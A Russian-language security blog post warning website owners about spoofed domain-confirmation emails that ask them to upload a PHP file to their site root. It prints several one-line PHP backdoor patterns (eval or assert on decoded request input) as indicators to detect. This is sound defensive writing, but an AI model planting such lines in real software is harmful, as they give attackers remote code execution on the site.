Security Blog
Security Blog
Posted By Gregory

Не доверяйте поддельным письмам с подтверждением домена.

Если вы когда-либо получите письмо с просьбой создать, загрузить или установить какой-либо PHP-код на ваш сайт, вы должны его игнорировать.


English version: Do not trust those fake domain confirmation emails


Недавно некоторые из моих клиентов получили странные электронные письма от своих регистраторов доменов. В этих письмах содержалась просьба подтвердить их собственные домены. Я проверил одно из таких писем и быстро определил, что это мошенническое письмо . Все письма имеют идентичный шаблон и содержат просьбу создать PHP-файл в корневой папке веб-сайта с определенным именем и указанным содержимым. Само собой разумеется, что предлагаемое содержимое этого PHP-файла содержит вредоносный код, известный как бэкдор. Этот тип кода позволяет злоумышленнику выполнять любые действия на веб-сайте жертвы.

Если вы когда-либо получите письмо любого рода с просьбой создать, загрузить или установить какой-либо PHP-код на ваш веб-сайт, вы должны его проигнорировать. Никаких исключений. Даже если письмо пришло от президента или вашей мамы.

Мошеннические письма выглядят правдоподобно из-за подлинного адреса отправителя . Но это подделка электронного письма. Вы же не ожидаете получить поддельное письмо от друзей или регистратора домена, верно? Нет! В любом электронном письме может содержаться любой адрес отправителя. Подавляющее большинство почтовых серверов и почтовых клиентов не проверяют и не подтверждают адрес отправителя. Поэтому вы воспринимаете это как сообщение о розыске хакера. Не стоит доверять электронным письмам, полученным от известных отправителей, если в письме содержится просьба о подозрительных действиях, например, об установке кода на ваш веб-сайт или приложения на ваш компьютер.

Технические характеристики

Поддельные электронные письма обычно содержат некоторые из следующих строк кода PHP.

assert(stripslashes($_REQUEST['something']));

eval(stripslashes($_REQUEST['something']));

assert(base64_decode($_REQUEST['something']));

eval(base64_decode($_REQUEST['something']));

К сведению: функции base64_decode, eval и assert являются хорошо известными индикаторами подозрительного или вредоносного кода PHP.

См. также: Инспектор плагинов выявляет проблемы безопасности в других плагинах.


I'm a team lead in Cerber Tech. I'm a software & database architect, WordPress - PHP - SQL - JavaScript developer. I started coding in 1993 on IBM System/370 (yeah, that was amazing days) and today software engineering at Cerber Tech is how I make my living. I've taught to have high standards for myself as well as using them in developing software solutions.

View Comments
There are currently no comments.